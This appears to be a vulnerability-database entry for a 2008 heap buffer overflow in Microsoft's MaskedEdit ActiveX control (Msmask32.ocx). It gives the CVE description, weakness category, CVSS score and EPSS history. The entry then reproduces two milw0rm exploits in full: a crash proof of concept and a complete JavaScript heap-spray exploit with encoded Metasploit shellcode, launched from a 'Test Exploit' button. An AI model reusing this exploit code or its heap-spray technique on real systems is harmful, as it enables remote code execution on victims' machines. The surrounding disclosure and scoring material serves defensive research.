CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Heap-based buffer overflow in the MaskedEdit ActiveX control in Msmask32.ocx 6.0.81.69, and possibly other versions before 6.0.84.18, in Microsoft Visual Studio 6.0, Visual Basic 6.0, Visual Studio .NET 2002 SP1 and 2003 SP1, and Visual FoxPro 8.0 SP1 and 9.0 SP1 and SP2 allows remote attackers to execute arbitrary code via a long Mask parameter, related to not "validating property values with boundary checks," as exploited in the wild in August 2008, aka "Masked Edit Control Memory Corruption Vulnerability."
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
87.31%
–
–
2023-03-12
–
–
–
97.11%
–
2023-04-02
–
–
–
97.06%
–
2023-05-14
–
–
–
96.89%
–
2023-06-18
–
–
–
96.52%
–
2023-07-30
–
–
–
96.53%
–
2023-09-03
–
–
–
96.34%
–
2023-10-08
–
–
–
96.54%
–
2023-11-12
–
–
–
95.91%
–
2023-12-17
–
–
–
95.82%
–
2024-01-28
–
–
–
96.4%
–
2024-02-11
–
–
–
96.4%
–
2024-03-03
–
–
–
96.37%
–
2024-04-07
–
–
–
96.6%
–
2024-06-02
–
–
–
96.03%
–
2024-06-16
–
–
–
96.34%
–
2024-07-21
–
–
–
96.53%
–
2024-08-25
–
–
–
96.38%
–
2024-12-22
–
–
–
96.1%
–
2025-03-02
–
–
–
95.91%
–
2025-01-19
–
–
–
96.1%
–
2025-03-09
–
–
–
95.91%
–
2025-03-18
–
–
–
–
80.63%
2025-03-30
–
–
–
–
81.78%
2025-03-30
–
–
–
–
81.78,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
var body='<OBJECT CLASSID="CLSID:C932BA85-4374-101B-A56C-00AA003668DC"
width="10"><PARAM NAME="Mask" VALUE="';
var body1='"></OBJECT>';
var buf='';
for (i=1;i<=1945;i++){buf=buf+unescape("%0C");}
document.write(body+buf+body1);
# milw0rm.com [2008-08-14]
Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote Buffer Overflow Exploit
Author: Koshi
Original POC: http://www.milw0rm.com/exploits/6244 ( Not by me )
My first ActiveX exploit, learned quite a bit playing with this one.
Heaps are handy.
#################################################
Loaded File: C:\WINDOWS\system32\MSMASK32.OCX
Name: MSMask
Version: 1.1
Class MaskEdBox
GUID: {C932BA85-4374-101B-A56C-00AA003668DC}
Number of Interfaces: 1
Default Interface: IMSMask
RegKey Safe for Script: False
RegKey Safe for Init: True
KillBitSet: False
#################################################
gr33tz: Rima my baby, str0ke, mess, and to all of those who have helped me over the years!
<input language=JavaScript onclick=doIt() type=button value="Test Exploit">
<script language="JavaScript">
function doIt()
{
var body='<OBJECT CLASSID="CLSID:C932BA85-4374-101B-A56C-00AA003668DC" width="10"><PARAM NAME="Mask" VALUE="';
var body1='"></OBJECT>';
var buf1 = '';
for (i=1;i<=1945;i++){buf1=buf1+unescape("%0c");}
// win32_exec - EXITFUNC=process CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com
var shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4937%u4949%u4949%u4949%u4949" +
"%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4130%u416b" +
"%u5541%u4132%u3242%u4242%u4142%u4230%u5841%u3850%u4241%u7875" +
"%u7969%u6d6c%u3038%u6544%u7550%u7350%u6e30%u516b%u7755%u4c4c" +
"%u414b%u656c%u3355%u4348%u3831%u4c6f%u304b%u464f%u4c78%u314b" +
"%u374f%u3450%u4a41%u624b%u4e69%u666b%u6e54%u666b%u6a61%u304e" +
"%u3931%u4f50%u4c69%u6f6c%u5974%u3450%u3534%u5957%u7951%u565a" +
"%u776d%u6f71%u7832%u6b6b%u6744%u714b%u6744%u7754%u3474%u4b35" +
"%u6e55%u436b%u466f%u6544%u3851%u506b%u4c66%u564b%u306c%u4c4b" +
"%u414b%u374f%u656c%u5a51%u6c4b%u654b%u4c4c%u674b%u6871%u6e6b" +
"%u7169%u654c%u6674%u5964%u4653%u4951%u6550%u6c34%u634b%u3470" +
"%u4b70%u4b35%u5470%u3438%u6e4c%u436b%u6670%u4e6c%u626b%u7550" +
"%u4c4c%u6e6d%u536b%u3758%u4a78%u554b%u4c59%u6d4b%u6e50%u6550" +
"%u6550%u4750%u6c70%u434b%u6558%u716c%u464f%u5a51%u4156%u3070" +
"%u4d56%u6c59%u4e38%u4963%u7150%u526b%u7570%u7138%u4b6e%u4b68" +
"%u3152%u6563%u4c38%u5958%u6e6e%u746a%u714e%u4b47%u7a4f%u7047" +
"%u6363%u5251%u634c%u5553%u4550");
// A read through "Heap Feng Shui in JavaScript" shed some
// much needed light on this topic for me. Thank you Alexander Sotirov.
var shellcodeSize = (shellcode.length * 2);
var spraySled = unescape("%u9090%u9090");
var heapAddress = 0x0c0c0c0c;
var heapBlockSize = 0x100000;
var spraySledSize = heapBlockSize - (shellcodeSize + 1);
var heapBlocks = (heapAddress+heapBlockSize)/heapBlockSize;
var x = new Array();
while (spraySled.length*2<spraySledSize)
{
spraySled += spraySled;
}
spraySled = spraySled.substring(0,spraySledSize/2);
for (i=0;i<heapBlocks;i++)
{
x[i] = spraySled + shellcode;
}
document.write(body+buf1+body1);
}
</script>
# milw0rm.com [2008-08-26]